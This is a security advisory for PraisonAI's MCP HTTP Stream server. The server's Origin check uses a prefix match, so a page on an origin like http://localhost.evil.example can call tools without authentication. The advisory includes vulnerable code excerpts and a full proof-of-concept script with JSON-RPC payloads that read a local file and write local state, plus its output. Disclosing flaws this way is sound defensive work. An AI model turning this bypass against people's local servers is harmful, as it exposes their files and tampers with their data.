GHSA-wj6g-v78p-6fx3: Medium severity pip/PraisonAI vulnerability
Summary
PraisonAI's MCP HTTP Stream transport uses an unsafe prefix match when validating the Origin header. The default localhost allowlist includes origins such as http://localhost, and the validation accepts any origin that starts with an allowed value.
As a result, an attacker-controlled origin such as http://localhost.evil.example passes the localhost origin check.
When the MCP HTTP Stream server is started without an API key, which is the CLI default, this allows a malicious webpage to trigger unauthenticated MCP tools/call requests against a locally running PraisonAI MCP server.
This is best framed as a browser-mediated localhost attack / DNS-rebinding-style Origin validation bypass. The default server binds to 127.0.0.1, so this is not a directly internet-facing unauthenticated API in the default configuration.
Details
Relevant source locations:
- src/praisonai/praisonai/mcpserver/cli.py - src/praisonai/praisonai/mcpserver/transports/httpstream.py - src/praisonai/praisonai/mcpserver/server.py - src/praisonai/praisonai/mcpserver/adapters/init.py - src/praisonai/praisonai/mcpserver/adapters/extendedcapabilities.py - src/praisonai/praisonai/mcpserver/adapters/clitools.py - src/praisonai/praisonai/capabilities/files.py
The MCP CLI defaults to HTTP host 127.0.0.1, API key None, and allowed origins None unless explicitly configured:
python parser.addargument("--host", default="127.0.0.1") parser.addargument("--port", type=int, default=8080) parser.addargument("--api-key", default=None) parser.addargument("--allowed-origins", default=None, help="Comma-separated allowed origins for security")
The CLI registers all tools and passes the optional API key and allowed origins into the HTTP Stream transport:
python registerall()
server.runhttpstream( host=parsed.host, port=parsed.port, endpoint=parsed.endpoint, apikey=parsed.apikey, corsorigins=corsorigins, allowedorigins=allowedorigins, sessionttl=parsed.sessionttl, allowclienttermination=allowtermination, responsemode=parsed.responsemode, resumabilityenabled=parsed.resumability, )
When allowedorigins is not explicitly configured and the server binds to localhost, the transport allowlist includes bare localhost origins:
python if allowedorigins is None: if host in ("127.0.0.1", "localhost", "::1"): self.allowedorigins = [ "http://localhost", "http://127.0.0.1", "https://localhost", "https://127.0.0.1", ]
The vulnerable validation accepts origins that merely start with an allowlisted value:
python for allowed in self.allowedorigins: if requestorigin == allowed or requestorigin.startswith(allowed): return True
Because http://localhost.evil.example starts with http://localhost, it is accepted as a trusted localhost origin.
Authentication is only enforced if an API key is configured:
python if self.apikey: authheader = request.headers.get("Authorization", "") if not authheader.startswith("Bearer ") or authheader[7:] != self.apikey: return JSONResponse( {"error": "Unauthorized"}, statuscode=401, )
The request body is then parsed and dispatched to the MCP server:
python body = await request.json() response = await self.server.handlemessage(body)
The MCP server handles tools/call by looking up the named tool and invoking the registered handler with attacker-controlled arguments:
python toolname = params.get("name") arguments = params.get("arguments", {})
tool = self.toolregistry.get(toolname)
if asyncio.iscoroutinefunction(tool.handler): result = await tool.handler(arguments) else: result = tool.handler(arguments)
registerall() registers capability tools, extended capability tools, CLI tools, resources, and prompts:
python def registerall(): registeralltools() registerextendedcapabilitytools() registerclitools() registermcpresources() registermcpprompts()
One exposed MCP tool is praisonai.files.create, which accepts a local filepath and passes it to filecreate():
python @registertool("praisonai.files.create") def filescreate(filepath: str, purpose: str = "assistants") -> str: from praisonai.capabilities import filecreate result = filecreate(file=filepath, purpose=purpose)
filecreate() opens attacker-selected string paths as local files and passes the file object to LiteLLM:
python fileobj = file if isinstance(file, str): fileobj = open(file, 'rb')
response = litellm.createfile(callkwargs)
Another exposed MCP tool, praisonai.todo.add, writes attacker-supplied content into local PraisonAI state at ~/.praison/todo.json.
PoC
The following local PoC verifies the vulnerable Origin logic and unauthenticated MCP tool execution without contacting any external provider. It uses a fake in-memory litellm module so the file-read effect is captured locally and safely.
Run from the repository root with test dependencies installed:
bash python3 pocmcporiginbypass.py
pocmcporiginbypass.py:
python import json import os import sys import tempfile import types from pathlib import Path
from starlette.testclient import TestClient
ROOT = Path.cwd() sys.path.insert(0, str(ROOT / "src" / "praisonai")) sys.path.insert(0, str(ROOT / "src" / "praisonai-agents"))
Fake litellm so the PoC proves local file read without network exfiltration. captured = {} fakelitellm = types.ModuleType("litellm")
def createfile(kwargs): f = kwargs["file"] captured["filename"] = getattr(f, "name", "<bytes>") captured["content"] = f.read().decode("utf-8")
class Resp: id = "file-safe-local-poc" object = "file" bytes = len(captured["content"]) filename = captured["filename"] purpose = kwargs.get("purpose") status = "processed"
return Resp()
fakelitellm.createfile = createfile sys.modules["litellm"] = fakelitellm
from praisonai.mcpserver.server import MCPServer from praisonai.mcpserver.transports.httpstream import HTTPStreamTransport from praisonai.mcpserver.adapters import registerall
registerall() server = MCPServer(name="praisonai-local-poc")
Default vulnerable configuration: localhost host, no API key, default allowed origins. transport = HTTPStreamTransport( server=server, host="127.0.0.1", apikey=None, allowedorigins=None, ) app = transport.createapp() client = TestClient(app)
with tempfile.TemporaryDirectory() as td: os.environ["HOME"] = td
marker = Path(td) / "safe-marker.txt" marker.writetext("SAFELOCALMARKERMCPFILEREAD")
filepayload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "praisonai.files.create", "arguments": { "filepath": str(marker), "purpose": "assistants", }, }, }
# Non-localhost malicious origin is blocked. blocked = client.post( "/mcp", data=json.dumps(filepayload), headers={ "Origin": "https://evil.example", "Content-Type": "text/plain", }, )
# Prefix-matching bypass: accepted because it starts with http://localhost. bypass = client.post( "/mcp", data=json.dumps(filepayload), headers={ "Origin": "http://localhost.evil.example", "Content-Type": "text/plain", }, )
todopayload = { "jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": { "name": "praisonai.todo.add", "arguments": { "content": "SAFELOCALTODOMARKER", "priority": "high", }, }, }
todo = client.post( "/mcp", data=json.dumps(todopayload), headers={ "Origin": "http://localhost.evil.example", "Content-Type": "text/plain", }, )
todofile = Path(td) / ".praison" / "todo.json"
print(json.dumps({ "blockedoriginstatus": blocked.statuscode, "bypassoriginstatus": bypass.statuscode, "bypassresponsetext": bypass.json().get("result", {}).get("content", [{}])[0].get("text"), "capturedfilebasename": Path(captured.get("filename", "")).name, "capturedfilecontent": captured.get("content"), "todostatus": todo.statuscode, "todoresponsetext": todo.json().get("result", {}).get("content", [{}])[0].get("text"), "todofileexists": todofile.exists(), }, indent=2))
Observed output:
json { "blockedoriginstatus": 403, "bypassoriginstatus": 200, "bypassresponsetext": "File created: file-safe-local-poc", "capturedfilebasename": "safe-marker.txt", "capturedfilecontent": "SAFELOCALMARKERMCPFILEREAD", "todostatus": 200, "todoresponsetext": "Todo added: 0440613d", "todofileexists": true }
The important results are:
- Origin: https://evil.example is rejected with 403. - Origin: http://localhost.evil.example is accepted with 200. - The bypassed request invokes praisonai.files.create and reads the local safe marker file. - The bypassed request invokes praisonai.todo.add and writes local PraisonAI state.
Impact
A malicious webpage can bypass the localhost Origin allowlist and trigger MCP tools/call requests against a locally running unauthenticated HTTP Stream server.
In local testing, this allowed invoking registered PraisonAI tools that:
- read an attacker-selected local file path and pass the file handle to the configured LiteLLM provider; and - modify local PraisonAI state by writing to ~/.praison/todo.json.
The default MCP HTTP Stream bind address is localhost, so exploitation is browser-mediated. A practical attack requires the victim to run the HTTP Stream MCP server without an API key and visit an attacker-controlled origin that matches the prefix bypass, or a DNS-rebinding-style setup. If an API key is configured, exploitability is significantly reduced.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/PraisonAIto a version that resolves this vulnerability.Fixed in 4.6.58
Event History
Frequently Asked Questions
Who is realistically exposed to this issue?
Users running the PraisonAI MCP HTTP Stream server locally are exposed when they browse to attacker-controlled webpages. The default bind address is 127.0.0.1, so the default configuration is not directly internet-facing.
What must an attacker do to exploit this?
An attacker needs to induce a user to visit a malicious webpage while the local MCP HTTP Stream server is running without an API key. The page can use an origin such as http://localhost.evil.example, which passes the unsafe prefix-based Origin validation.
Is the default CLI configuration affected?
Yes. The CLI starts the server without an API key by default, and the default localhost allowlist includes values such as http://localhost that can be bypassed by a matching attacker-controlled prefix.
What can be done if an update cannot be applied immediately?
Avoid running the MCP HTTP Stream server without an API key. Limiting exposure to trusted browsing contexts while the local server is running also reduces the opportunity for a malicious webpage to issue requests.